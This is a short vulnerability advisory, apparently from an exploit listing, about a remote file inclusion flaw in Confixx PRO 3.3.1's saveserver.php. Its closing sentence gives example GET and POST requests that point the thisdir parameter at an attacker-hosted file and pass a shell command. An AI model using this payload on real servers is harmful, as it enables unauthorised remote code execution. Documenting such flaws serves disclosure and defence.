Confixx <= PRO 3.3.1 Remote File Inclusion Vulnerability
The Confixx PRO version 3.3.1 is vulnerable to remote file inclusion. An attacker can access the file saveserver.php without authentication. The vulnerability exists due to the variable $thisdir not being defined in the code. By exploiting this vulnerability, an attacker can execute arbitrary commands on the target system. The conditions for exploitation are that the open_basedir restriction is turned off and allow_url_fopen is set to on. The attacker can send a POST request or a GET request to the saveserver.php file with the parameter thisdir set to a malicious URL that includes the command to be executed. For example, the attacker can send a POST request with thisdir set to http://[yoursite]/images/1.jpg?&cmd=ls -la or a GET request with saveserver.php?thisdir=http://[yoursite]/images/1.jpg?&cmd=ls -la.
